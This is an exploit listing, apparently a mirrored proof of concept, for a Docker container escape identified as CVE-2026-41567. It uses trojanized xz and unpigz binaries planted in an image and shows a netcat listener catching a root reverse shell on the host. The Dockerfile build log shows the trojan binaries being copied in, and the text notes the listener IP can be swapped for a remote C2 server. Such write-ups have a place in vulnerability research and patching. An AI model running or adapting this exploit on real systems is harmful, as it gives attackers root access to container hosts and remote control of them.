## https://sploitus.com/exploit?id=8D3466F1-84C1-5B91-9BB5-ACEC8212C746
# CVE-2026-41567 1day
One day for Docker Escape CVE-2026-41567.
It is a demonstration of docker escape using trojanized xz / unpigz.
It can be easily modified to be used remotely (i.e. just modify the docker default IP with a remote C2).
More information on the exploit [here](https://github.com/advisories/GHSA-x86f-5xw2-fm2r)
## PoC
Run a netcat listening on port 50005 on the host
```
ubuntu@ubuntu-noble:~/CVE-2026-41567$ nc -vlp 50005
Listening on 0.0.0.0 50005
Connection received on ubuntu-noble 35722
# whoami
root
# cat /etc/hostname
ubuntu-noble
# exit
```
Then execute the `test.sh` script.
If the exploit is working you'll get a root shell immediately.
```
ubuntu@ubuntu-noble:~/CVE-2026-41567$ sudo ./test.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 19.97kB
Step 1/7 : FROM debian
---> 34cd9e9fd437
Step 2/7 : RUN apt update && apt install -y ncat
---> Using cache
---> c85c9eb10bff
Step 3/7 : COPY exploit.sh /usr/bin/xz
---> Using cache
---> b84efa8058e7
Step 4/7 : RUN chmod +x /usr/bin/xz
---> Using cache
---> 423b0e1891a6
Step 5/7 : COPY exploit.sh /usr/bin/unpigz
---> Using cache
---> 74eff85cf988
Step 6/7 : RUN chmod +x /usr/bin/unpigz
---> Using cache
---> 2f773fa12931
Step 7/7 : CMD [ "sleep", "9999999" ]
---> Using cache
---> 7b99f12dbe8d
Successfully built 7b99f12dbe8d
Successfully tagged cve-2026-41567:latest
cve-2026-41567
5679a4dc643c65a20039de693fad1f1caeea7fe5760b5c4049d1d4f37f5ab825
tar: Removing leading `/' from member names
/etc/hosts
Successfully copied 0B to cve-2026-41567:/tmp
```
Note that you need to have privileges to talk to the Docker daemon (usually being root).